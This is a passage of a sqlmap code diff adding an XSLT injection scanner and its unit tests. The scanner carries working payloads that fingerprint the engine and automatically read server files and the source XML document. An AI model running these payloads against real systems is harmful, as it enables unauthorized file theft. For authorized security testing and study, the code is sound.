_dumpFileRead(conf.fileRead, content)
|
||||
else:
|
||||
logger.warning("XQuery file read of '%s' failed" % conf.fileRead)
|
||||
else:
|
||||
# Readability is PROVED across the list for about one request per path, then a short
|
||||
# prefix is sampled from the first hit. Extracting every file would cost thousands of
|
||||
# bisection round-trips - impact is established by reading a file at all, not by volume.
|
||||
logger.info("probing which files are readable through fn:unparsed-text()")
|
||||
readable = []
|
||||
for path in XQUERY_FILE_HARVEST:
|
||||
try:
|
||||
if oracle.extract(builder.predicate("string-length(%s)>0" % (XQUERY_FILE_READ % _xpathQuote(path)))):
|
||||
readable.append(path)
|
||||
logger.info("'%s' is readable" % path)
|
||||
except InconclusiveError:
|
||||
break
|
||||
if readable:
|
||||
sample = _xqueryFileRead(oracle, builder, readable[0], quiet=True, maxLen=XQUERY_HARVEST_CHARS)
|
||||
if sample:
|
||||
logger.info("read the first %d characters of '%s'" % (len(sample), readable[0]))
|
||||
_dumpFileRead(readable[0], sample)
|
||||
conf.dumper.singleString("XQuery: readable through fn:unparsed-text():\n%s"
|
||||
% "\n".join(" %s" % _ for _ in readable))
|
||||
logger.info("use '--file-read' to pull one of these in full")
|
||||
else:
|
||||
logger.info("no file could be read automatically through fn:unparsed-text()")
|
||||
elif conf.fileRead:
|
||||
logger.warning("'--file-read' needs an XQuery / XPath 2.0+ back-end; this one is XPath 1.0 only")
|
||||
|
||||
# Blind XML tree-walking (attempted document-root traversal)
|
||||
logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH)
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,520 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
XSLT injection ('--xslt').
|
||||
|
||||
An application that builds a stylesheet by concatenating user input hands over a whole transformation
|
||||
language, not just a value. The tiers are ordered by what each one PROVES, not by how spectacular it is:
|
||||
|
||||
T1 system-property('xsl:vendor') the engine names itself in the response - a fingerprint, and the
|
||||
strongest evidence that the input really is compiled as XSLT
|
||||
T2 <xsl:value-of select="..."> arbitrary XPath evaluated and reflected in-band
|
||||
T3 malformed select parser error naming the engine (reaches targets with fixed output)
|
||||
T4 document('file:///...') file read, plus unparsed-text() where the engine is XSLT 2.0+
|
||||
|
||||
Blind out-of-band (document('http://collector/')) is NOT implemented yet; it would reuse the collector
|
||||
'--xxe' already has, but nothing here drives it, so a target with no in-band or error surface is out of
|
||||
reach for now.
|
||||
|
||||
The ELEMENT slot and the VALUE slot are different surfaces and are probed separately: input landing
|
||||
between elements can introduce whole XSLT instructions, while input landing inside select="..." can only
|
||||
carry an XPath expression. Nothing is inferred from a payload merely "looking like" it worked - every
|
||||
tier is confirmed by a per-run random sentinel or by a value the application cannot produce by itself.
|
||||
|
||||
Deliberately reported but NOT exploited: PHP registerPHPFunctions(), EXSLT exsl:document (file WRITE) and
|
||||
saxon:eval. Those are RCE / write primitives and sit outside what this switch is for.
|
||||
"""
|
||||
|
||||
import re
|
||||
import time
|
||||
from collections import namedtuple
|
||||
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.settings import XSLT_ERROR_REGEX
|
||||
from lib.core.settings import XSLT_ERROR_SIGNATURES
|
||||
from lib.core.settings import XSLT_MAX_FILE_LENGTH
|
||||
from lib.core.settings import XSLT_MAX_HARVEST
|
||||
from lib.core.settings import XSLT_XML_HARVEST
|
||||
from lib.core.settings import XXE_FILE_HARVEST
|
||||
from lib.core.settings import XSLT_RCE_PROBES
|
||||
from lib.core.settings import XSLT_VENDOR_PROPERTIES
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
# The sentinel is emitted as TWO adjacent literals that only become one string once concat() actually
|
||||
# runs. An application that merely echoes the parameter reflects "'ab','cd'" - quotes and comma intact -
|
||||
# so the joined marker "abcd" never appears, while a real transform emits it. Without this the marker sits
|
||||
# verbatim in the payload and any echo endpoint matches, which reported a plain search page as vulnerable
|
||||
# and then "read" /etc/shadow out of its own reflected payload.
|
||||
def _marks():
|
||||
half = len(SENTINEL) // 2
|
||||
return SENTINEL[:half], SENTINEL[half:]
|
||||
|
||||
XSLT_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
|
||||
|
||||
# Where the injected text lands inside the stylesheet. They need different payloads, so the probe order
|
||||
# below tries the richer one first and falls back.
|
||||
CONTEXT_ELEMENT = "element" # between elements: whole XSLT instructions can be introduced
|
||||
CONTEXT_VALUE = "value" # inside an attribute value: an XPath expression only
|
||||
|
||||
Slot = namedtuple("Slot", ("place", "parameter", "context", "vendor", "payload"))
|
||||
|
||||
|
||||
def _delim(place):
|
||||
return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
|
||||
|
||||
|
||||
def _originalValue(place, parameter):
|
||||
for pair in (conf.parameters.get(place) or "").split(_delim(place)):
|
||||
if '=' in pair:
|
||||
name, _, value = pair.partition('=')
|
||||
if name.strip() == parameter:
|
||||
return value
|
||||
return None
|
||||
|
||||
|
||||
def _replaceSegment(place, parameter, value):
|
||||
retVal = []
|
||||
for pair in (conf.parameters.get(place) or "").split(_delim(place)):
|
||||
if '=' in pair:
|
||||
name, _, old = pair.partition('=')
|
||||
retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
|
||||
elif pair:
|
||||
retVal.append(pair)
|
||||
return _delim(place).join(retVal)
|
||||
|
||||
|
||||
def _send(place, parameter, value):
|
||||
"""One request with the target parameter set to `value`, reusing sqlmap's request machinery so the
|
||||
URL, cookies, headers, proxy and delay all behave exactly as in a normal run."""
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
saved = conf.parameters.get(place, "")
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, value)
|
||||
try:
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, _ = Request.getPage(raise404=False, silent=True)
|
||||
return page
|
||||
except Exception as ex:
|
||||
logger.debug("XSLT probe request failed: %s" % getUnicode(ex))
|
||||
return None
|
||||
finally:
|
||||
conf.parameters[place] = saved
|
||||
|
||||
|
||||
def _isError(page):
|
||||
return bool(page) and re.search(XSLT_ERROR_REGEX, getUnicode(page)) is not None
|
||||
|
||||
|
||||
def _vendorFromError(page):
|
||||
for vendor, regex in XSLT_ERROR_SIGNATURES:
|
||||
if re.search(regex, getUnicode(page or "")):
|
||||
return vendor
|
||||
return None
|
||||
|
||||
|
||||
def _echoed(page, needle):
|
||||
return bool(page) and needle in getUnicode(page)
|
||||
|
||||
|
||||
def _valuePayload(expression):
|
||||
"""An XPath expression for the VALUE slot: the input already sits inside select="...", so only the
|
||||
expression itself is injected."""
|
||||
return expression
|
||||
|
||||
|
||||
# Conventional prefix for the XSLT namespace. A stylesheet must bind it to be a stylesheet at all; a
|
||||
# sheet using a different prefix simply fails the element-slot probes and is found through the value slot.
|
||||
_XSL_PREFIX = "xsl"
|
||||
|
||||
|
||||
def _elementPayload(expression):
|
||||
"""A whole <xsl:value-of> instruction for the ELEMENT slot. The stylesheet already binds the 'xsl'
|
||||
prefix (it could not be a stylesheet otherwise), so the instruction compiles in place."""
|
||||
return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, expression)
|
||||
|
||||
|
||||
_BUILDERS = ((CONTEXT_ELEMENT, _elementPayload), (CONTEXT_VALUE, _valuePayload))
|
||||
|
||||
|
||||
def _concat(*parts):
|
||||
"""XPath 1.0 concat() over literals."""
|
||||
return "concat(%s)" % ",".join(parts)
|
||||
|
||||
|
||||
def _wrap(expression):
|
||||
"""Wrap `expression` so its result arrives between two halves of the sentinel that only join when the
|
||||
engine evaluates the concat (see _marks)."""
|
||||
head, tail = _marks()
|
||||
return _concat(_quote(head), _quote(tail), expression, _quote(head), _quote(tail))
|
||||
|
||||
|
||||
def _captured(page, payload, span="1,120"):
|
||||
"""The text an evaluated probe returned, or None.
|
||||
|
||||
Two independent conditions must hold, because either alone has been shown to be forgeable:
|
||||
1. the page carries the JOINED sentinel, which only a real concat() can produce, and
|
||||
2. the page does NOT carry the raw injected expression - a compiled transform emits its RESULT,
|
||||
never its source text, so seeing the expression back means the input was reflected, not run.
|
||||
"""
|
||||
|
||||
if not page:
|
||||
return None
|
||||
page = getUnicode(page)
|
||||
if payload and getUnicode(payload) in page:
|
||||
return None # reflected verbatim: nothing was evaluated
|
||||
head, tail = _marks()
|
||||
marker = re.escape(head + tail)
|
||||
match = re.search(r"%s(.{%s}?)%s" % (marker, span, marker), page, re.DOTALL)
|
||||
return match.group(1) if match else None
|
||||
|
||||
|
||||
def _quote(value):
|
||||
"""XPath 1.0 string literal. The language has no escape character, so a value containing both quote
|
||||
kinds has to be assembled with concat() - and an unquotable path must not be silently mangled into a
|
||||
payload that means something else."""
|
||||
|
||||
value = getUnicode(value)
|
||||
if "'" not in value:
|
||||
return "'%s'" % value
|
||||
if '"' not in value:
|
||||
return '"%s"' % value
|
||||
parts = []
|
||||
for index, chunk in enumerate(value.split("'")):
|
||||
if index:
|
||||
parts.append('"\'"')
|
||||
if chunk:
|
||||
parts.append("'%s'" % chunk)
|
||||
return "concat(%s)" % ",".join(parts)
|
||||
|
||||
|
||||
def _probeVendor(place, parameter, baseline):
|
||||
"""T1: ask the engine to name itself. A response carrying SENTINEL+vendor+SENTINEL cannot be produced
|
||||
by an application that merely echoes the parameter - the vendor string is the engine's own."""
|
||||
|
||||
for context, build in _BUILDERS:
|
||||
for prop in XSLT_VENDOR_PROPERTIES:
|
||||
payload = build(_wrap("system-property(%s)" % _quote(prop)))
|
||||
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,120")
|
||||
if captured is None:
|
||||
continue
|
||||
if captured.strip():
|
||||
return context, captured.strip(), payload
|
||||
# An EMPTY capture between the joined halves still proves concat() ran (this engine simply
|
||||
# leaves the property unset), so it confirms execution without naming a vendor.
|
||||
return context, None, payload
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _probeEval(place, parameter, baseline):
|
||||
"""T2: no vendor property came back, so prove evaluation with pure XPath arithmetic. The operands are
|
||||
random per run, so the product exists nowhere in the application."""
|
||||
|
||||
a, b = randomStr(length=4, alphabet="123456789"), randomStr(length=4, alphabet="123456789")
|
||||
expected = str(int(a) * int(b))
|
||||
for context, build in _BUILDERS:
|
||||
payload = build(_wrap("string(%s * %s)" % (a, b)))
|
||||
captured = _captured(page=_send(place, parameter, payload), payload=payload)
|
||||
if captured is not None and captured.strip() == expected:
|
||||
return context, payload, "%s*%s=%s" % (a, b, expected)
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _stable(place, parameter, value):
|
||||
"""Send `value` twice and return the page only when both answers agree - a one-off difference is
|
||||
noise, and detection built on noise is how a scanner invents findings."""
|
||||
|
||||
first = _send(place, parameter, value)
|
||||
if first is None:
|
||||
return None
|
||||
second = _send(place, parameter, value)
|
||||
if second is None:
|
||||
return None
|
||||
return first if getUnicode(first) == getUnicode(second) else None
|
||||
|
||||
|
||||
def _probeCompile(place, parameter, baseline):
|
||||
"""T3: prove the input is COMPILED as part of the stylesheet, for targets that reflect nothing.
|
||||
|
||||
The two slots are told apart by what breaks them, which is a property of XSLT rather than a guess:
|
||||
inside select="..." a bare apostrophe leaves an unterminated literal and the stylesheet fails to
|
||||
compile, whereas between elements the very same apostrophe is ordinary text and changes nothing. So a
|
||||
bare quote that breaks the page means the VALUE slot; a slot that only breaks on a malformed
|
||||
<xsl:value-of/> is the ELEMENT slot.
|
||||
|
||||
'Breaks' is satisfied either by a parser error (which also names the engine) or - where the
|
||||
application swallows errors - by a reproducible difference from the untouched baseline. The latter is
|
||||
the only tier that reaches a target with fixed output and no error surface."""
|
||||
|
||||
if baseline is None or _isError(baseline):
|
||||
return None, None, None # no usable reference to compare against
|
||||
|
||||
# `or "x"` would replace an intentionally EMPTY parameter with a value it never had, so the
|
||||
# baseline would not be the application's own
|
||||
original = _originalValue(place, parameter)
|
||||
original = "x" if original is None else original
|
||||
|
||||
# For BOTH slots the 'valid' form has to be one that leaves the page identical to the baseline. Using
|
||||
# an instruction that EMITS a sentinel for the element slot made that condition unsatisfiable on every
|
||||
# engine (a real one prints the sentinel, an echo reflects the instruction), so the whole element
|
||||
# branch was unreachable and element slots with swallowed errors were silently missed.
|
||||
for context, valid, broken, xpathy in (
|
||||
(CONTEXT_VALUE, original, "%s'" % original, "concat(%s,'')" % original),
|
||||
(CONTEXT_ELEMENT, original, '<%s:value-of select="\'"/>' % _XSL_PREFIX,
|
||||
_elementPayload("substring('',1,0)")),
|
||||
):
|
||||
brokenPage = _stable(place, parameter, broken)
|
||||
if brokenPage is None:
|
||||
continue
|
||||
|
||||
if _isError(brokenPage):
|
||||
return context, _vendorFromError(brokenPage) or "Generic XSLT", broken
|
||||
|
||||
# No error surface, so the DIFFERENCE is the only signal - and a difference alone proves nothing
|
||||
# about XSLT. Any parser breaks on a stray apostrophe: a SQL string, an XQuery predicate, a shell
|
||||
# word. Three conditions have to hold together before this counts:
|
||||
# 1. the broken form changes the page,
|
||||
# 2. the untouched form reproduces the baseline (so the parameter is not simply volatile),
|
||||
# 3. an XPath FUNCTION CALL is accepted and behaves like the baseline - which a SQL or XQuery
|
||||
# string context cannot do, because there the same text is just a literal that matches
|
||||
# nothing and changes the page.
|
||||
# Without (3) this tier would report XSLT injection on every quote-sensitive parameter.
|
||||
if getUnicode(brokenPage) == getUnicode(baseline):
|
||||
continue
|
||||
validPage = _stable(place, parameter, valid)
|
||||
if validPage is None or getUnicode(validPage) != getUnicode(baseline):
|
||||
continue
|
||||
if xpathy is not None:
|
||||
xpathyPage = _stable(place, parameter, xpathy)
|
||||
if xpathyPage is None or getUnicode(xpathyPage) != getUnicode(baseline):
|
||||
continue
|
||||
return context, "Generic XSLT", broken
|
||||
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _readFile(place, parameter, context, path, readers=("unparsed-text", "document")):
|
||||
"""T4: read a text file. document() parses its target as XML, so a non-XML file only surfaces through
|
||||
unparsed-text() (XSLT 2.0+). Both are tried by default and whichever returns content wins."""
|
||||
|
||||
build = dict(_BUILDERS)[context]
|
||||
uri = path if "://" in path else "file:///%s" % getText(path).replace("\\", "/").lstrip("/")
|
||||
|
||||
candidates = [_ for _ in (("unparsed-text", "unparsed-text(%s)" % _quote(uri)),
|
||||
("document", "string(document(%s))" % _quote(uri))) if _[0] in readers]
|
||||
for _reader, expression in candidates:
|
||||
payload = build(_wrap(expression))
|
||||
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
|
||||
if captured and captured.strip():
|
||||
return captured[:XSLT_MAX_FILE_LENGTH], expression
|
||||
return None, None
|
||||
|
||||
|
||||
def _dumpSourceDocument(place, parameter, context):
|
||||
"""Exfiltrate the XML document the stylesheet is transforming - the XSLT-native equivalent of the
|
||||
'dump' the other non-SQL engines perform automatically. <xsl:copy-of select="/"/> serialises the whole
|
||||
input tree, which is the actual application data the transformation was built to render."""
|
||||
|
||||
if context != CONTEXT_ELEMENT:
|
||||
return None # a value slot can only carry an expression, and copy-of is an instruction
|
||||
|
||||
# copy-of is an instruction, not an expression, so the sentinel cannot be split through concat here.
|
||||
# The reflection guard in _captured() is what keeps an echo endpoint from handing back its own
|
||||
# <xsl:copy-of/> text as if it were the transformed document.
|
||||
head, tail = _marks()
|
||||
payload = "%s%s<%s:copy-of select=\"/\"/>%s%s" % (head, tail, _XSL_PREFIX, head, tail)
|
||||
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
|
||||
if captured and captured.strip() and "copy-of" not in captured:
|
||||
return captured.strip()[:XSLT_MAX_FILE_LENGTH]
|
||||
return None
|
||||
|
||||
|
||||
def _harvestFiles(place, parameter, context):
|
||||
"""Proactive, best-effort file harvest once the injection is CONFIRMED, the way the other non-SQL
|
||||
engines auto-dump what they can reach: a user who reaches for '--xslt' should not have to know that
|
||||
'--file-read' exists to see impact.
|
||||
|
||||
Two reader primitives, because they cover different engines: unparsed-text() takes any text file but
|
||||
needs XSLT 2.0+, while document() works on 1.0 (most of the installed base) yet only loads well-formed
|
||||
XML. Content is de-duplicated so an engine that resolves every missing path to the same stub cannot
|
||||
masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST."""
|
||||
|
||||
harvested = []
|
||||
seen = set()
|
||||
for reader, paths in (("unparsed-text", XXE_FILE_HARVEST), ("document", XSLT_XML_HARVEST)):
|
||||
for path in paths:
|
||||
if len(harvested) >= XSLT_MAX_HARVEST:
|
||||
return harvested
|
||||
content, how = _readFile(place, parameter, context, path, readers=(reader,))
|
||||
if not (content and content.strip()):
|
||||
continue
|
||||
key = content.strip()
|
||||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
harvested.append((path, content, how))
|
||||
return harvested
|
||||
|
||||
|
||||
def _probeRce(place, parameter, context):
|
||||
"""Report - never invoke - the extension primitives that would turn this into code execution. Their
|
||||
mere availability is the finding; exercising them is out of scope for this switch."""
|
||||
|
||||
build = dict(_BUILDERS)[context]
|
||||
retVal = []
|
||||
for label, expression in XSLT_RCE_PROBES:
|
||||
payload = build(_wrap(expression))
|
||||
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,40")
|
||||
# function-available() answers the STRING 'true'/'false', so a non-empty capture is not a hit -
|
||||
# only an explicit true is. Reporting on non-empty would flag every engine as exploitable.
|
||||
if captured is not None and captured.strip().lower() == "true":
|
||||
retVal.append(label)
|
||||
return retVal
|
||||
|
||||
|
||||
def _dumpFileRead(remoteFile, content):
|
||||
try:
|
||||
localPath = dataToOutFile(remoteFile, getBytes(content))
|
||||
except Exception as ex:
|
||||
logger.debug("could not save the XSLT-read file to disk: %s" % getUnicode(ex))
|
||||
localPath = None
|
||||
if localPath:
|
||||
conf.dumper.rFile([localPath])
|
||||
else:
|
||||
conf.dumper.singleString("XSLT file read ('%s'):\n%s" % (remoteFile, content))
|
||||
|
||||
|
||||
def _report(slot, title, extra=None):
|
||||
lines = ["---", "Parameter: %s (%s)" % (slot.parameter, slot.place),
|
||||
" Type: XSLT injection", " Title: %s" % title,
|
||||
" Payload: %s=%s" % (slot.parameter, slot.payload)]
|
||||
if slot.vendor:
|
||||
lines.append(" Engine: %s" % slot.vendor)
|
||||
for line in (extra or []):
|
||||
lines.append(" %s" % line)
|
||||
lines.append("---")
|
||||
conf.dumper.singleString("\n".join(lines))
|
||||
|
||||
|
||||
def xsltScan():
|
||||
global SENTINEL
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
debugMsg = "'--xslt' is self-contained: it detects XSLT injection in HTTP parameters, fingerprints "
|
||||
debugMsg += "the transformation engine and reads files through it. SQL enumeration switches "
|
||||
debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) are ignored"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not conf.paramDict:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
return
|
||||
|
||||
tested = found = 0
|
||||
|
||||
for place in (_ for _ in XSLT_PLACES if _ in conf.paramDict):
|
||||
for parameter in list(conf.paramDict[place].keys()):
|
||||
if conf.testParameter and parameter not in conf.testParameter:
|
||||
continue
|
||||
|
||||
tested += 1
|
||||
logger.info("testing XSLT injection on %s parameter '%s'" % (place, parameter))
|
||||
|
||||
_orig = _originalValue(place, parameter)
|
||||
baseline = _send(place, parameter, "x" if _orig is None else _orig)
|
||||
|
||||
context, vendor, payload = _probeVendor(place, parameter, baseline)
|
||||
title = "XSLT in-band (engine fingerprint)"
|
||||
detail = None
|
||||
|
||||
if context is None:
|
||||
context, payload, detail = _probeEval(place, parameter, baseline)
|
||||
title = "XSLT in-band (arithmetic evaluation)"
|
||||
vendor = None
|
||||
|
||||
if context is None:
|
||||
context, vendor, payload = _probeCompile(place, parameter, baseline)
|
||||
title = "XSLT compile-differential (no reflection)"
|
||||
detail = None
|
||||
|
||||
if context is None:
|
||||
continue
|
||||
|
||||
found += 1
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
vendor = vendor or _vendorFromError(baseline) or "Generic XSLT"
|
||||
slot = Slot(place=place, parameter=parameter, context=context, vendor=vendor, payload=payload)
|
||||
logger.info("%s parameter '%s' is vulnerable to XSLT injection (engine: '%s', %s context)"
|
||||
% (place, parameter, vendor, context))
|
||||
|
||||
extra = []
|
||||
if detail:
|
||||
extra.append("Proof: the engine computed %s" % detail)
|
||||
|
||||
rce = _probeRce(place, parameter, context)
|
||||
if rce:
|
||||
extra.append("Extensions available (NOT exercised): %s" % ", ".join(rce))
|
||||
logger.warning("the engine exposes %s - this injection can reach code execution; "
|
||||
"'--xslt' reports it but does not use it" % ", ".join(rce))
|
||||
|
||||
_report(slot, title, extra)
|
||||
|
||||
# A confirmed finding is exploited automatically, like every other non-SQL switch: whoever
|
||||
# reaches for '--xslt' should not need to know that '--file-read' exists to see impact. An
|
||||
# explicit '--file-read' overrides the harvest and is honoured verbatim instead.
|
||||
if conf.fileRead:
|
||||
logger.info("reading file '%s' through the XSLT engine" % conf.fileRead)
|
||||
content, how = _readFile(place, parameter, context, conf.fileRead)
|
||||
if content:
|
||||
logger.info("XSLT file read succeeded via %s (%d characters)" % (how, len(content)))
|
||||
if how.startswith("string(document("):
|
||||
logger.warning("document() parses its target as XML, so this is the file's TEXT "
|
||||
"CONTENT rather than its raw bytes")
|
||||
_dumpFileRead(conf.fileRead, content)
|
||||
else:
|
||||
logger.warning("XSLT file read of '%s' failed. document() only reads well-formed XML, "
|
||||
"and unparsed-text() needs an XSLT 2.0+ engine (this one reports '%s')"
|
||||
% (conf.fileRead, vendor))
|
||||
else:
|
||||
source = _dumpSourceDocument(place, parameter, context)
|
||||
if source:
|
||||
logger.info("dumping the XML document the stylesheet transforms (%d characters)" % len(source))
|
||||
conf.dumper.singleString("XSLT: %s parameter '%s' source document\n%s" % (place, parameter, source))
|
||||
|
||||
logger.info("harvesting reachable files through the XSLT engine")
|
||||
harvested = _harvestFiles(place, parameter, context)
|
||||
for path, content, how in harvested:
|
||||
logger.info("read '%s' via %s (%d characters)" % (path, how, len(content)))
|
||||
_dumpFileRead(path, content)
|
||||
if not harvested:
|
||||
logger.info("no file could be read automatically (document() needs well-formed XML and "
|
||||
"unparsed-text() needs an XSLT 2.0+ engine)")
|
||||
if source or harvested:
|
||||
logger.info("use '--file-read' to target one specific file instead of this harvest")
|
||||
|
||||
if not found:
|
||||
if tested:
|
||||
logger.warning("no parameter appears to be injectable via XSLT injection (%d tested)" % tested)
|
||||
else:
|
||||
logger.warning("no parameters found to test for XSLT injection")
|
||||
|
||||
logger.info("XSLT scan complete")
|
||||
@@ -0,0 +1,230 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Coverage for the XSLT injection engine (lib/techniques/xslt/inject.py) and the XQuery tier the XPath
|
||||
engine gained (lib/techniques/xpath/inject.py).
|
||||
|
||||
Network-free: the payload builders, engine fingerprinting and charset construction are pure functions, so
|
||||
they are asserted directly. The parts that decide a VERDICT get the most attention - a detection tier that
|
||||
rests on "the page changed" is exactly the kind that invents findings, so its guards are pinned here.
|
||||
|
||||
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
bootstrap()
|
||||
|
||||
from lib.core.settings import XSLT_ERROR_REGEX
|
||||
from lib.core.settings import XSLT_RCE_PROBES
|
||||
from lib.core.settings import XSLT_VENDOR_PROPERTIES
|
||||
from lib.core.settings import XQUERY_CAPABILITY_PROBES
|
||||
from lib.core.settings import XQUERY_FILE_READ
|
||||
from lib.techniques.xslt import inject as _xslt
|
||||
from lib.techniques.xpath import inject as _xpath
|
||||
|
||||
|
||||
def _source(*parts):
|
||||
with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", *parts)) as f:
|
||||
return f.read()
|
||||
|
||||
|
||||
class XsltPayloadTest(unittest.TestCase):
|
||||
def test_element_payload_is_a_whole_instruction(self):
|
||||
payload = _xslt._elementPayload("'a'")
|
||||
self.assertTrue(payload.startswith("<xsl:value-of "))
|
||||
self.assertIn('select="\'a\'"', payload)
|
||||
|
||||
def test_value_payload_is_the_bare_expression(self):
|
||||
"""The value slot already sits inside select="...", so wrapping it would break the attribute."""
|
||||
self.assertEqual(_xslt._valuePayload("system-property('xsl:vendor')"), "system-property('xsl:vendor')")
|
||||
|
||||
def test_sentinel_wrapping_makes_a_hit_unambiguous(self):
|
||||
expression = _xslt._concat("'S'", "system-property('xsl:vendor')", "'S'")
|
||||
self.assertEqual(expression, "concat('S',system-property('xsl:vendor'),'S')")
|
||||
|
||||
def test_both_slots_are_probed(self):
|
||||
self.assertEqual([_ for _, __ in _xslt._BUILDERS], [_xslt.CONTEXT_ELEMENT, _xslt.CONTEXT_VALUE])
|
||||
|
||||
|
||||
class XsltReflectionSafetyTest(unittest.TestCase):
|
||||
"""The tier that reports a finding must not be satisfiable by an application that merely echoes the
|
||||
parameter. This is the exact defect two reviewers found: a plain search page was reported vulnerable
|
||||
and then 'read' /etc/shadow out of its own reflected payload."""
|
||||
|
||||
def test_joined_marker_is_absent_from_the_raw_payload(self):
|
||||
"""An echo can only reflect what was sent, so the marker must not exist until concat() runs."""
|
||||
head, tail = _xslt._marks()
|
||||
payload = _xslt._wrap("system-property('xsl:vendor')")
|
||||
self.assertIn(head, payload)
|
||||
self.assertIn(tail, payload)
|
||||
self.assertNotIn(head + tail, payload)
|
||||
|
||||
def test_echoed_payload_yields_no_capture(self):
|
||||
payload = _xslt._wrap("system-property('xsl:vendor')")
|
||||
echoed = "<html><body>you searched for: %s</body></html>" % payload
|
||||
self.assertIsNone(_xslt._captured(page=echoed, payload=payload))
|
||||
|
||||
def test_evaluated_response_yields_the_result(self):
|
||||
head, tail = _xslt._marks()
|
||||
payload = _xslt._wrap("system-property('xsl:vendor')")
|
||||
page = "<html><body>%slibxslt%s</body></html>" % (head + tail, head + tail)
|
||||
self.assertEqual(_xslt._captured(page=page, payload=payload), "libxslt")
|
||||
|
||||
def test_raw_expression_in_the_page_is_rejected_even_with_the_marker(self):
|
||||
"""Defence in depth: a compiled transform emits its RESULT, never its source text."""
|
||||
head, tail = _xslt._marks()
|
||||
payload = _xslt._wrap("system-property('xsl:vendor')")
|
||||
page = "%slibxslt%s and also %s" % (head + tail, head + tail, payload)
|
||||
self.assertIsNone(_xslt._captured(page=page, payload=payload))
|
||||
|
||||
def test_empty_capture_is_reachable_and_means_executed(self):
|
||||
"""The span allows a zero-length capture, so 'concat ran but the property is unset' is a real
|
||||
outcome rather than the dead branch it used to be."""
|
||||
head, tail = _xslt._marks()
|
||||
payload = _xslt._wrap("system-property('xsl:unset')")
|
||||
page = "%s%s" % (head + tail, head + tail)
|
||||
self.assertEqual(_xslt._captured(page=page, payload=payload, span="0,120"), "")
|
||||
|
||||
|
||||
class XsltDifferentialTest(unittest.TestCase):
|
||||
def test_both_slots_use_a_baseline_preserving_valid_form(self):
|
||||
"""The 'valid' probe has to leave the page identical to the baseline. An element-slot form that
|
||||
EMITS a sentinel can never satisfy that, which made the whole element branch unreachable."""
|
||||
import inspect
|
||||
source = inspect.getsource(_xslt._probeCompile)
|
||||
self.assertIn("(CONTEXT_ELEMENT, original,", source)
|
||||
self.assertNotIn("_elementPayload(\"'%s'\" % SENTINEL)", source)
|
||||
|
||||
def test_element_slot_has_an_xpath_function_guard(self):
|
||||
"""Without it the element branch would report on 'the page changed', which any parser does."""
|
||||
import inspect
|
||||
source = inspect.getsource(_xslt._probeCompile)
|
||||
self.assertIn("_elementPayload(\"substring(", source)
|
||||
|
||||
|
||||
class XsltFingerprintTest(unittest.TestCase):
|
||||
def test_known_engines_are_attributed(self):
|
||||
for page, expected in (
|
||||
("lxml.etree.XSLTParseError: bad stylesheet", "libxslt / lxml"),
|
||||
("xsltParseStylesheet : problem", "libxslt"),
|
||||
("net.sf.saxon.trans.XPathException: XTDE1260", "Saxon"),
|
||||
("javax.xml.transform.TransformerConfigurationException", "Xalan / Java JAXP"),
|
||||
("System.Xml.Xsl.XslLoadException: bad", ".NET XslCompiledTransform"),
|
||||
("XSLTProcessor::importStylesheet(): compilation error", "PHP XSLTProcessor"),
|
||||
):
|
||||
self.assertEqual(_xslt._vendorFromError(page), expected, page)
|
||||
|
||||
def test_a_specific_binding_wins_over_the_generic_engine(self):
|
||||
"""PHP's XSLTProcessor and lxml are both libxslt and emit its wording, so the specific binding has
|
||||
to be reported - that is what tells the tester what they are actually talking to."""
|
||||
self.assertEqual(_xslt._vendorFromError("XSLTProcessor::transformToXml(): compilation error"), "PHP XSLTProcessor")
|
||||
